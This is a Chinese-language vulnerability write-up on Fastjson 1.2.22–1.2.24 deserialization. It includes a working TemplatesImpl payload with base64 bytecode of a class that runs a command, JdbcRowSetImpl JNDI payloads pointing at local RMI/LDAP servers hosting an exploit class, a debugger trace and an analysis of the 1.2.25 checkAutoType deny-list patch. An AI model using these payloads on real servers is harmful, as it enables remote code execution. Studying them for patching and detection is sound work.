Fastjson1_2_22-1_2_24反序列化
0x01 影响版本
Fastjson 1.2.x系列的1.2.22-1.2.24版本。
0x02 复现
对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用,目前已知的主要有以下的利用链:
参考廖新喜大佬的博客。
限制
需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用。
复现利用
恶意类Test.java,为啥需要继承AbstractTranslet类在后面具体看到:
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public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec(“calc”); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } } |
---|
这里将恶意类编译成class文件,然后我通过一个py脚本进行base64编码以及生成payload:
1 | import base64 |
运行即可弹出计算器:
1 | package fastjson; |
来看生成的poc
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} |
PoC中几个重要的Json键的含义:
- @type——指定的解析类,即
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes
和_name
都是私有属性,所以想要反序列化这两个属性,需要在parseObject()
时设置Feature.SupportNonPublicField
; - _bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
- _outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
- _tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置
调试分析
下面我们直接在反序列化的那句代码上打上断点进行调试分析
1 | JSON.parseObject(payload,Feature.SupportNonPublicField); |
在JSON.parseObject()中会调用DefaultJSONParser.parseObject(),而DefaultJSONParser.parseObject()中调用了JavaObjectDeserializer.deserialze()函数进行反序列化
跟进该函数,发现会返回去调用DefaultJSONParser.parse()函数
继续调试,在DefaultJSONParser.parse()里是对JSON内容进行扫描,在switch语句中匹配上了”{“即对应12,然后对JSON数据调用DefaultJSONParser.parseObject()进行解析
在DefaultJSONParser.parseObject()中,通过for语句循环解析JSON数据内容,其中skipWhitespace()函数用于去除数据中的空格字符,然后获取当前字符是否为双引号,是的话就调用scanSymbol()获取双引号内的内容,这里得到第一个双引号里的内容为”@type”:
往下调试,判断key是否为@type且是否关闭了Feature.DisableSpecialKeyDetect设置,通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,并调用TypeUtils.loadClass()函数加载该类
跟进去,看到如红框的两个判断语句代码逻辑,是判断当前类名是否以”[“开头或以”L”开头以”;”结尾,当然本次调试分析是不会进入到这两个逻辑,但是后面的补丁绕过中利用到了这两个条件判断,也就是说这两个判断条件是后面补丁绕过的漏洞点,值得注意
往下看,通过ClassLoader.loadClass()加载到目标类后,然后将该类名和类缓存到Map中,最后返回该加载的类
返回后,程序继续回到DefaultJSONParser.parseObject()中往下执行,在最后调用JavaBeanDeserializer.deserialze()对目标类进行反序列化
跟进去,循环扫描解析,解析到key为_bytecodes
时,调用parseField()进一步解析
在parseField()中,会调用DefaultFieldDeserializer.parseField()对_bytecodes
对应的内容进行解析
跟进DefaultFieldDeserializer.parseField()函数中,解析出_bytecodes
对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
FieldDeserializer.setValue()函数,看到是调用private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes
的set方法来设置_bytecodes
的值
返回之后,后面也是一样的,循环处理JSON数据中的其他键值内容。
当解析到_outputProperties
的内容时,看到前面的下划线被去掉了
跟进该方法,发现会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
方法,可以看到该方法类型是Properties、满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter方法
跟进去,在getOutputProperties()方法中调用了newTransformer().getOutputProperties()方法
跟进TemplatesImpl.newTransformer()方法,看到调用了getTransletInstance()方法
继续跟进去查看getTransletInstance()方法,可以看到已经解析到Test类并新建一个Test类实例,注意前面会先调用defineTransletClasses()方法来生成一个Java类(Test类)
再往下就是新建Test类实例的过程,并调用Test类的构造函数
整个调试过程主要的函数调用栈如下
1 | <init>:11, Test |
最后的调用过滤再具体说下:在getTransletInstance()函数中调用了defineTransletClasses()函数,在defineTransletClasses()函数中会根据_bytecodes来生成一个Java类(这里为恶意类Test),其构造方法中含有命令执行代码,生成的Java类随后会被newInstance()方法调用生成一个实例对象,从而该类的构造函数被自动调用,进而造成任意代码执行
为什么恶意类需要继承AbstractTranslet类
在前面的调试分析中,getTransletInstance()函数会先调用defineTransletClasses()方法来生成一个Java类,我们跟进这个defineTransletClasses()方法查看下
可以看到有个逻辑会判断恶意类的父类类名是否是ABSTRACT_TRANSLET
,是的话_transletIndex
变量的值被设置为0,到后面的if判断语句中就不会被识别为<0而抛出异常终止程序。
为什么需要对_bytecodes进行Base64编码
可以发现,在PoC中的_bytecodes
字段是经过Base64编码的。为什么要怎么做呢?分析Fastjson对JSON字符串的解析过程,原理Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes
字段进行Base64加密处理。
其中Fastjson的处理代码如下,在ObjectArrayCodec.deserialze()函数中会调用lexer.bytesValue()对byte数组进行处理:
1 | public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { |
跟进bytesValue()函数,就是对_bytecodes
的内容进行Base64解码
为什么需要设置_tfactory为{}
由前面的调试分析知道,在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()
方法,若_tfactory
为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用:
为什么反序列化调用getter方法时会调用到TemplatesImpl.getOutputProperties()方法
getOutputProperties()方法是个无参数的非静态的getter方法,以get开头且第四个字母为大写形式,其返回值类型是Properties即继承自Map类型,满足Fastjson反序列化时会调用的getter方法的条件,因此在使用Fastjson对TemplatesImpl类对象进行反序列化操作时会自动调用getOutputProperties()方法。
如何关联_outputProperties与getOutputProperties()方法
Fastjson会语义分析JSON字符串,根据字段key,调用fieldList数组中存储的相应方法进行变量初始化赋值。
具体的代码在JavaBeanDeserializer.parseField()中,其中调用了smartMatch()方法
1 | public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { |
在JavaBeanDeserializer.smartMatch()方法中,会替换掉字段key中的_
,从而使得_outputProperties
变成了outputProperties
既然已经得到了outputProperties属性了,那么自然而然就会调用到getOutputProperties()方法
基于JdbcRowSetImpl的利用链
基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP
限制
由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。
JNDI+RMI复现利用
PoC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true} |
JNDIServer.java,RMI服务,注册表绑定了Exploit服务,该服务是指向恶意Exploit.class文件所在服务器的Reference
1 | public class JNDIServer { |
Exploit.java,恶意类,单独编译成class文件并放置于RMI服务指向的三方Web服务中,作为一个Factory绑定在注册表服务中
1 | public class Exploit{ |
JdbcRowSetImplPoc.java:
1 | public class JdbcRowSetImplPoc { |
先运行JNDI的RMI服务,将恶意类Exploit.class单独放置于一个三方的Web服务中,然后运行PoC即可弹计算器,且看到访问了含有恶意类的Web服务
JNDI+LDAP复现利用
PoC如下,跟RMI的相比只是改了URL而已
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
但是相比RMI的利用方式,优势在于JDK的限制更低了。
LdapServer.java,区别在于将之前的RMI服务端换成LDAP服务端
1 | public class LdapServer { |
Exploit.java不变。
JdbcRowSetImplPoC.java中修改payload中的dataSourceName的值为指向LDAP服务端地址即可
1 | String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}"; |
调试分析
虽然前面两个复现利用是用的不同的服务,但是都是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来触发的,漏洞点都是JNDI注入导致的。
在JSON.parse(payload);
处打下断点开始往下调试。
前面的函数调用过程和基于TemplateImpl的调试分析几乎是一样的,只看下区别的地方。
调用scanSymbol()函数扫描到com.sun.rowset.JdbcRowSetImpl类后,再调用TypeUtils.loadClass()函数将该类加载进来
往下调试,调用了FastjsonASMDeserializer.deserialze()函数对该类进行反序列化操作
继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可。
由于PoC设置了dataSourceName键值和autoCommit键值,因此在JdbcRowSetImpl中的setDataSourceName()和setAutoCommit()函数都会被调用,因为它们均满足前面说到的Fastjson在反序列化时会自动调用的setter方法的特征。
先是调试到了setDataSourceName()函数,将dataSourceName值设置为目标RMI服务的地址
接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数
跟进connect()函数,看到了熟悉的JNDI注入的代码即InitialContext.lookup()
,并且其参数是调用this.getDataSourceName()
获取的、即在前面setDataSourceName()函数中设置的值,因此lookup参数外部可控,导致存在JNDI注入漏洞
再往下就是JNDI注入的调用过程了,最后是成功利用JNDI注入触发Fastjson反序列化漏洞、达到任意命令执行效果。
调试过程的函数调用栈如下
1 | connect:654, JdbcRowSetImpl (com.sun.rowset) |
这里漏洞触发点是JSON.parse(payload);
,改成用JSON.parseObject(payload);
也是可以成功利用的。
我们将JSON.parse()换成JSON.parseObject()再调试一遍会发现,JSON.parseObject()会调用到JSON.parse()、再调用DefaultJSONParser.parse(),也就是说JSON.parseObject()本质上还是调用JSON.parse()进行反序列化的,区别不过是parseObject()会额外调用JSON.toJSON()来将Java对象专为JSONObject对象。两者的反序列化的操作时一样的,因此都能成功触发
0x03 补丁分析
这里下载1.2.25版本的jar包看下是怎么修补的。
checkAutoType()
修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass
替换为checkAutoType()函数
看下checkAutoType()函数
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。
默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。
denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets
1 | bsh |
这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了。
运行能看到报错信息,说autoType不支持该类
调试分析看到,就是在checkAutoType()函数中未开启autoTypeSupport即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的
autoTypeSupport
autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。
默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType白名单设置方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:
ParserConfig.getGlobalInstance().addAccept("com.xx.a");
- 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao